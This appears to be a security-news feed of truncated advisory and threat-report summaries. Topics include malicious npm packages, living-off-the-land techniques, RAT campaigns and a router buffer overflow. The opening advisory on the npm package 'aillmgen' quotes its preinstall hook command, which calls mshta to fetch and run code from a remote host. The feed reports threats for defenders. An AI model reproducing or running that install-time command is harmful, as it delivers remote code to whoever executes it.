Malicious code in aillmgen (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b303e830a204ad1ee237f0403a2844f5dce96fa3e3841392ce92d7f3f502341 On npm install, the package's preinstall hook preinstall.js runs exec'cmd /c "mshta http://fixars.top"', invoking the Windows mshta.exe binary to fet...

What 45 Days of Watching Your Own Tools Will Tell You About Your Real Attack Surface

In Your Biggest Security Risk Isn't Malware — It's What You Already Trust , we made a simple argument: the most dangerous activity inside most organizations no longer looks like an attack. It looks like administration. PowerShell, WMIC, netsh, Certutil, MSBuild — the same trusted utilities your I...

Bad Apples: Weaponizing native macOS primitives for movement and execution

As macOS adoption grows among developers and DevOps, it has become a high value target; however, native "living-off-the-land" LOTL techniques for the platform remain significantly under-documented compared to Windows. Adversaries can bypass security controls by repurposing native features like...

RealVuln: Benchmarking Rule-Based, General-Purpose LLM, and Security-Specialized Scanners on Real-World Code

How do security scanners perform on real-world code? We present RealVuln, the first open-source benchmark comparing Rule-Based SAST, General-Purpose LLMs, and Security-Specialized scanners on 26 intentionally vulnerable Python repositories educational and Capture-The-Flag applications with 796...

Talos Takes: 2025's ransomware trends and zombie vulnerabilities

Join Amy and Pierre Cadieux as they unpack the ransomware and vulnerability trends that defined 2025. From the persistent ransomware threats targeting the manufacturing sector to the rise of stealthy living-off-the-land tactics, we break down what these shifts mean for your defense strategy. Why...

WhatsApp on Windows users targeted in new campaign, warns Microsoft

Microsoft researchers found a campaign that abuses WhatsApp attachments to sneak a script onto Windows machines which will lead to the attacker gaining remote control. WhatsApp offers a desktop application for Windows and macOS, which users can synchronize with their mobile devices. Desktop...

Microsoft Warns of WhatsApp-Delivered VBS Malware Hijacking Windows via UAC Bypass

Microsoft is calling attention to a new campaign that has leveraged WhatsApp messages to distribute malicious Visual Basic Script VBS files. The activity, beginning in late February 2026, leverages these scripts to initiate a multi-stage infection chain for establishing persistence and enabling...

Free real estate: GoPix, the banking Trojan living off your memory

Introduction GoPix is an advanced persistent threat targeting Brazilian financial institutions' customers and cryptocurrency users. It represents an evolved threat targeting internet banking users through memory-only implants and obfuscated PowerShell scripts. It evolved from the RAT and Automate...

Web Server Exploits and Mimikatz Used in Attacks Targeting Asian Critical Infrastructure

High-value organizations located in South, Southeast, and East Asia have been targeted by a Chinese threat actor as part of a years-long campaign. The activity, which has targeted aviation, energy, government, law enforcement, pharmaceutical, technology, and telecommunications sectors, has been...

How to understand and avoid Advanced Persistent Threats

By definition, an advanced persistent threat APT is a prolonged, targeted attack on a specific victim with the intention to compromise their system and gain information from or about that target. About a decade ago, the term was mostly used for state-sponsored threat actors. I used threat actors...

Google Disrupts UNC2814 GRIDTIDE Campaign After 53 Breaches Across 42 Countries

Google on Wednesday disclosed that it worked with industry partners to disrupt the infrastructure of a suspected China-nexus cyber espionage group tracked as UNC2814 that breached at least 53 organizations across 42 countries. "This prolific, elusive actor has a long history of targeting...

Exploit for CVE-2025-30401

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Analysis of active exploitation of SolarWinds Web Help Desk

The Microsoft Defender Research Team observed a multi‑stage intrusion where threat actors exploited internet‑exposed SolarWinds Web Help Desk WHD instances to get an initial foothold and then laterally moved towards other high-value assets within the organization. However, we have not yet confirm...

ClickFix Attacks Expand Using Fake CAPTCHAs, Microsoft Scripts, and Trusted Web Services

Cybersecurity researchers have disclosed details of a new campaign that combines ClickFix-style fake CAPTCHAs with a signed Microsoft Application Virtualization App-V script to distribute an information stealer called Amatera. "Instead of launching PowerShell directly, the attacker uses this scri...

Can you use too many LOLBins to drop some RATs?

Recently, our team came across an infection attempt that stood out—not for its sophistication, but for how determined the attacker was to take a “living off the land” approach to the extreme. The end goal was to deploy Remcos , a Remote Access Trojan RAT, and NetSupport Manager , a legitimate...

New Malware Campaign Delivers Remcos RAT Through Multi-Stage Windows Attack

Cybersecurity researchers have disclosed details of a new campaign dubbed SHADOWREACTOR that employs an evasive multi-stage attack chain to deliver a commercially available remote administration tool called Remcos RAT and establish persistent, covert remote access. "The infection chain follows a...

Webinar: Learn How AI-Powered Zero Trust Detects Attacks with No Files or Indicators

Security teams are still catching malware. The problem is what they're not catching. More attacks today don't arrive as files. They don't drop binaries. They don't trigger classic alerts. Instead, they run quietly through tools that already exist inside the environment — scripts, remote access,...

EUVD-2025-204665

A vulnerability was detected in Tenda AC18 15.03.05.05. This affects the function sprintf of the file /goform/SetDlnaCfg of the component HTTP Request Handler. The manipulation of the argument scanList results in stack-based buffer overflow. The attack can be executed remotely. The exploit is now...

Application Containment: How to Use Ringfencing to Prevent the Weaponization of Trusted Software

The challenge facing security leaders is monumental: Securing environments where failure is not an option. Reliance on traditional security postures, such as Endpoint Detection and Response EDR to chase threats after they have already entered the network, is fundamentally risky and contributes...

EUVD-2025-117261

Malicious code in living-amethyst-otter npm...